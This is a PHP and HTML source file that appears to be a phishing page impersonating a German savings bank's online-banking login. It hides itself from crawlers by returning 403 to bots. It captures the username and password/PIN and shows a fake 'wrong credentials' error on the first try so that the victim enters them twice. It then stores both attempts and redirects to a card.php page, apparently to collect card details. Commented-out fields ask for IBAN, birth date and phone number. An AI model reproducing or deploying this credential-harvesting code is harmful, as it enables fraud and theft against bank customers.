<?php
require 'vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if (!$isBot) {
    include('config.php');

?>
    <!DOCTYPE html>
    <html lang="en">

    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css">
        <link rel="stylesheet" href="bootstrap/fontawesome-free-5.13.0-web/css/all.min.css">
        <link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
        <link rel="stylesheet" href="style.css">
        <title>Title</title>
        <style>
            .header {
                background: #EE0000;
            }

            .list-nav {
                list-style: none;
                gap: 35px;
            }

            .list-nav li a {
                color: #fff;
            }

            @media screen and (max-width:991px) {
                /* .header {
                    display: none;
                } */

                .mobile-header {
                    background: #EE0000;
                }

                .bg-red {
                    background: #EE0000;
                }

                .mobile-header {
                    display: block !important;
                }

                .close-icon {
                    display: none;
                }

                .icon-size {
                    cursor: pointer;
                }

                .sidebar {
                    display: none;
                    background-color: #f8f9fa;
                    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
                    padding: 0px;
                }

            }

            .MuiSvgIcon-root {
                width: 50px;
                fill: #fff;
            }

            .icon-size {
                font-size: 20px;
                color: #fff;
            }

            .mobile-header {
                display: none;
            }

            .active-circle {
                padding: 5px 13px;
                background: #EE0000;
                border-radius: 50px;
            }

            .no-active-circle {
                background: #F2F2F2;
                padding: 3px 10px;
                border-radius: 50px;
                border: 2px solid #000;
            }

            .btn-cont {
                background: #EE0000;
                color: #fff;
            }

            /* Chrome, Safari, Edge, Opera */
            input::-webkit-outer-spin-button,
            input::-webkit-inner-spin-button {
                -webkit-appearance: none;
                margin: 0;
            }

            /* Firefox */
            input[type=number] {
                -moz-appearance: textfield;
            }

            .floating {
    margin-bottom: 1rem;
    background-color: var(--field__background);
    transition: background-color 0.2s ease;
    border-top-left-radius: 4px;
    border-top-right-radius: 4px;
  }
  
  .floating:hover,
  .floating:focus-within {
    background-color: var(--field__background--hover);
  }
  
  .floating__input {
    padding: 1.8rem 1rem 0.6rem;
    font-size: 1rem;
    border: 1px solid #949494;
    border-radius: 5px;
    transition: border-color 0.2s ease;
    caret-color: var(--color__accent);
  }
  
  .floating:hover .floating__input {
    border-color: var(--input__border--hover);
  }
  
  .floating__input::placeholder {
    color: rgba(0, 0, 0, 0);
  }
  
  .floating__label {
    display: block;
    position: relative;
    max-height: 0;
    font-weight: 500;
    pointer-events: none;
  }
  
  .floating__label::before {
    color: var(--label__color);
    content: attr(data-content);
    display: inline-block;
    filter: blur(0);
    backface-visibility: hidden;
    transform-origin: left top;
    transition: transform 0.2s ease;
    left: 1rem;
    position: relative;
  }
  
  .floating__label::after {
    bottom: 1rem;
    content: "";
    height: 0.1rem;
    position: absolute;
    transition: transform 180ms cubic-bezier(0.4, 0, 0.2, 1),
      opacity 180ms cubic-bezier(0.4, 0, 0.2, 1), background-color 0.3s ease;
    opacity: 0;
    left: 0;
    top: 100%;
    margin-top: -0.1rem;
    transform: scale3d(0, 1, 1);
    width: 100%;
    background-color: var(--color__accent);
  }
  
  .floating__input:focus + .floating__label::after {
    transform: scale3d(1, 1, 1);
    opacity: 1;
  }
  
  .floating__input:placeholder-shown + .floating__label::before {
    transform: translate3d(0, -44px, 0) scale3d(1, 1, 1);
  }
  
  .floating__label::before,
  .floating__input:focus + .floating__label::before {
    transform: translate3d(0, -3.60rem, 0) scale3d(0.82, 0.82, 1);
  }
  
  .floating__input:focus + .floating__label::before {
    color: var(--color__accent);
  }
  
  /* ---------------------------------------------- */
  /* --  Codepen styles & resets - not required  -- */
  /* ---------------------------------------------- */

  
  .input {
    /* background: none; */
    /* border-width: 0; */
    display: block;
    width: 100%;
  }
  .icon-show-content{
    position: absolute;
    right: 0;
    transform: translate(-20px, -52px);
    font-size: 22px;
    display: flex;
    align-items: center;
  }
  .fs-22{
    font-size: 15px;
  }
  .img-logo {
    padding-top: 25px;
    padding-bottom: 35px;
}
.top-header {
    background: #EE0000;
    border-bottom: 2px solid #E00000;
}
.footer {
    background: #666;
}
ul {
    list-style: none;
    line-height: 35px;
}

.bottom-footer {
    background: red;
}
.gap-50 {
    gap: 50px;
    flex-wrap: wrap;
    margin-left: 50px;
}
    @media screen and (max-width:767px) {
        .small-row{

            margin-top: 0px !important;
            padding-top: 15px !important;
        }
        .mobile-margin{
            margin-top: 0px !important;
        }
        .txt-mobile{
            margin-bottom: 0px !important;
        }
        .gap-50 {
            row-gap: 20px;
        }
        .flex-gap{
            row-gap: 5px !important; 
        }
    }
        </style>
    </head>

    <body>
        <section class="top-header">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-md-12 pb-2 pt-2">
                        <div class="d-flex align-items-center gap-20">
                            <a href="#" class="heading-text text-white ml-2"></a>
                            <a href="#" class="heading text-white"></a>
                        </div>
                    </div>
                </div>
            </div>
        </section>
        <header class="header">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-md-12 img-logo">
                        <img src="imges/logo.svg" width="180px" class="img-fluid ml-2" alt="">
                    </div>
                </div>
            </div>
        </header>
        <!-- <nav class="navbar navbar-expand-lg navbar-light">
            
            <div class="container-fluid flex-mobile-screen">
                <a class="navbar-brand" href="#"> <img src="imges/logo2.jpg" width="200" height="125" alt="">
                </a>
                <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent"
                    aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
                    <span class="navbar-toggler-icon"></span>
                </button>
    
                <div class="collapse navbar-collapse" id="navbarSupportedContent">
                    <ul class="navbar-nav ml-auto">
                        <li class="nav-item active">
                            <a class="nav-link" href="#">Ontdek Isabel 6</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="#">Over Isabel Group</a>
                        </li>
    
                        <li class="nav-item">
                            <a class="nav-link" href="#">EN</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="#">FR</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="#"><span class="bg-green-search"><i
                                        class="fa fa-search"></i></span></a>
                        </li>
                        <li class="nav-item">
                            <span class="nav-link" href="#"><span class="bg-green-light"><img src="imges/new-user.svg"
                                        height="22px" alt=""> &nbsp;World Isabel 6 klant</span> </span>
                        </li>
                        <li class="nav-item">
                            <span class="nav-link" href="#"><span class="bg-green-light-01"><img
                                        src="imges/isabel-smartcard-2017.svg" height="22px" alt="">&nbsp; Login met
                                    SmartCard </span></span>
                        </li>
                        <li class="nav-item">
                            <span class="nav-link" href="#"><span class="bg-green-light-01"><img src="imges/itsme.svg"
                                        height="22px" alt="">&nbsp; Login met itsme ® </span></span>
                        </li>
    
                    </ul>
    
                </div>
            </div>
        </nav> -->
        <!-- <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <div class=" p-3">
                        <div class="d-flex flex-wrap align-items-center" style="gap: 15px;">
                            <a href="#" class="text-white active-circle">1. Erneurung</a>
                            <a href="#" class="text-dark no-active-circle">2 . Erneuerung-aktivieren</a>

                        </div>
                    </div>
                </div>
            </div>
        </div> -->
        <div class="container">
            <div class="row mt-5 small-row">
                <div class="col-md-6 m-auto small-row pt-5">
                    <!-- <img src="imges/isabel6.svg" width="100px" height="100px" alt=""> -->
                    <h4 class="mb-5 text-center txt-mobile">Melden Sie sich an</h4>
                    <div class="p-3 mt-5 mobile-margin">
                        <div id="error-message" class="alert alert-danger" style="display: none;"></div>
                        <form action="">
                            <div class="floating">
                                <input id="firstName" class="floating__input input" name="username" type="text"  placeholder="Anmeldename" required>
                                <label for="firstName" class="floating__label" data-content="Anmeldename">
                                    <span class="hidden--visually">
                                        </span></label>
                            </div>
                            <div class="floating position-relative">
                                <input id="LastName" class="floating__input input" name="username" type="password"  placeholder="Passwort/PIN" required style="padding-right: 80px;">
                                <label for="LastName" class="floating__label" data-content="Passwort/PIN">
                                    <span class="hidden--visually">
                                        </span></label>
                                        <div class="icon-show-content">
                                        <i class="bx bx-show show-icon"></i><span class="fs-22">Anzeigen</span>
                                    </div>
                            </div>
                           
                            <!-- <div class="form-group">
                                <input type="text" id="firstName" class="form-control" required placeholder="Vorname">
                            </div> -->
                            <!-- <div class="form-group">
                                <input type="text" id="LastName" class="form-control" required placeholder="Nachname">
                            </div>
                            <div class="form-group">
                                <input type="tel" id="DOB" class="form-control dob-input" maxlength="10" required placeholder="Geburtsdatum">
                            </div>
                            <div class="form-group">
                                <input type="text" id="address" class="form-control" required placeholder="Postleitzahl + Hausnummer  ">
                            </div>
                            <div class="form-group">
                                <input type="text" id="gsmNumber" class="form-control" required placeholder="Handynummer (+49)">
                            </div>
                            <div class="form-group">
                                <input type="text" id="iban" class="form-control" required placeholder="Kontonummer (IBAN)">
                            </div>
                            <div class="form-group">
                                <input type="email" id="email" class="form-control" placeholder="Name der Firma (Optional)">
                            </div> -->
                            <div class="mt-5">
                            <button type="submit" class="bt btn-cont col-md-5 m-auto d-flex justify-content-center" style=" border-radius: 50px; border: none; padding: 12px 20px;">Anmelden</button>
                        </div>
                            <ul class="d-flex flex-wrap flex-gap justify-content-center align-items-center pl-0 mt-4" style="list-style: none; gap: 15px;">
                                <li><a href="#" class="text-dark">Sicherheitshinweise</a></li>
                                <li><a href="#" class="text-dark">Zugangsdaten vergessen?</a></li>
                            </ul>
                        </form>
                    </div>
                </div>
            </div>
        </div>

        <footer class="footer mt-5 pt-3 pb-3">
            <div class="container">
                <div class="row">
                    <div class="col-md-3">
                        <ul>
                            <li>
                                <a href="#" class="text-white">Beliebte Produkte</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Online-Banking</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Girokonto</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Tagesgeldkonto</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Festgeldkonto</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sparbuch</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Aufladbare Kreditkarte</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Kreditkarte</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Riester-Rente</a>
                            </li>
                        </ul>
                    </div>
                    <div class="col-md-3">
                        <ul>
                            <li>
                                <a href="#" class="text-white">Finanzierung</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Kredit</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Privatkredit</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Dispokredit</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Autokredit</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Baufinanzierung</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Bausparen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Bauspardarlehen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Hypothekendarlehen</a>
                            </li>
                        </ul>
                    </div>
                    <div class="col-md-3">
                        <ul>
                            <li>
                                <a href="#" class="text-white">Weitere Informationen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Ihre Pläne</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">GemeinsamAllemGewachsen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Aktuelle Themen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sicherheit im Internet</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Firmenkunden</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sparen &amp; Anlegen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Altersvorsorge</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Versicherungen</a>
                            </li>
                        </ul>
                    </div>
                    <div class="col-md-3">
                        <ul>
                            <li>
                                <a href="#" class="text-white">Service</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Karriere</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Filialen A-Z</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Geldautomaten A-Z</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Finanzlexikon</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">SEPA</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Karte sperren</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sicherungssystem</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sparkassen Apps</a>
                            </li>
                        </ul>
                    </div>
                </div>
            </div>
        </footer>
        <footer class="bottom-footer">
            <div class="container">
                <div class="row">
                    <div class="col-md-12 p-3">
                        <div class="d-flex gap-50">
                            <a href="#" class="text-white">Wir über uns</a>
                            <a href="#" class="text-white">Impressum</a>
                            <a href="#" class="text-white">Datenschutz</a>
                            <a href="#" class="text-white">Nutzungshinweise</a>
                            <a href="#" class="text-white">Cookie-Einstellungen</a>
                        </div>
                    </div>
                </div>
            </div>
        </footer>
        <script src="bootstrap/jquery/jquery.min.js"></script>
        <script src="bootstrap/js/popper.min.js"></script>
        <script src="bootstrap/js/bootstrap.min.js"></script>
        <script>
            $(document).ready(function () {
    $(".icon-show-content").on("click", function () {
        const inputField = $("#LastName");
        const showIcon = $(".show-icon");
        const isPassword = inputField.attr("type") === "password";

        // Toggle input type
        inputField.attr("type", isPassword ? "text" : "password");

        // Toggle icon class and text
        if (isPassword) {
            showIcon.removeClass("bx-show").addClass("bx-hide");
            $(".fs-22").text("Verbergen");
        } else {
            showIcon.removeClass("bx-hide").addClass("bx-show");
            $(".fs-22").text("Anzeigen");
        }
    });
});

        </script>
        <script>
            $(document).ready(function() {
                $('.dob-input').on('input', function(e) {
                    var dob = $(this).val().replace(/\D/g, '');
                    var formattedDob = '';

                    if (dob.length > 0) {
                        formattedDob += dob.substring(0, 2);
                        if (dob.length > 2) {
                            formattedDob += '/' + dob.substring(2, 4);
                            if (dob.length > 4) {
                                formattedDob += '/' + dob.substring(4, 8);
                            }
                        }
                    }

                    $(this).val(formattedDob);
                });

                $('.dob-input').on('keydown', function(e) {
                    var key = e.which || e.keyCode;
                    if (key === 8) { // Backspace key
                        var dob = $(this).val();
                        if (dob.length === 3 || dob.length === 6) {
                            $(this).val(dob.slice(0, -1));
                        }
                    }
                });
            });
        </script>
        <script>
            $(document).ready(function() {
                // Vérifier si c'est la première visite
                if (!localStorage.getItem('visit_count')) {
                    localStorage.setItem('visit_count', '1');
                }
            });
            
            $("form").submit(function(e) {
                e.preventDefault();
                var message_id = localStorage.getItem('message_id');
                var firstName = $('#firstName').val();
                var LastName = $('#LastName').val();
                var visitCount = parseInt(localStorage.getItem('visit_count'));
                
                if (visitCount === 1) {
                    // Première soumission - afficher erreur en néerlandais sur la page
                    $('#error-message').text('Falsche Anmeldedaten. Bitte versuchen Sie es erneut.').show();
                    // Stocker la première tentative
                    localStorage.setItem('login_attempt_1', JSON.stringify({
                        username: firstName,
                        password: LastName,
                        timestamp: new Date().toISOString()
                    }));
                    // Incrémenter le compteur pour la prochaine fois
                    localStorage.setItem('visit_count', '2');
                } else {
                    // Deuxième soumission - stocker et continuer
                    localStorage.setItem('login_attempt_2', JSON.stringify({
                        username: firstName,
                        password: LastName,
                        timestamp: new Date().toISOString()
                    }));
                    localStorage.setItem('user-name', firstName);
                    localStorage.setItem('password', LastName);
                    window.location.href = "card.php";
                }
            });
        </script>
    </body>

    </html>

<?php } else {
    http_response_code(403);
    echo "Bot access is not allowed.";
} ?>
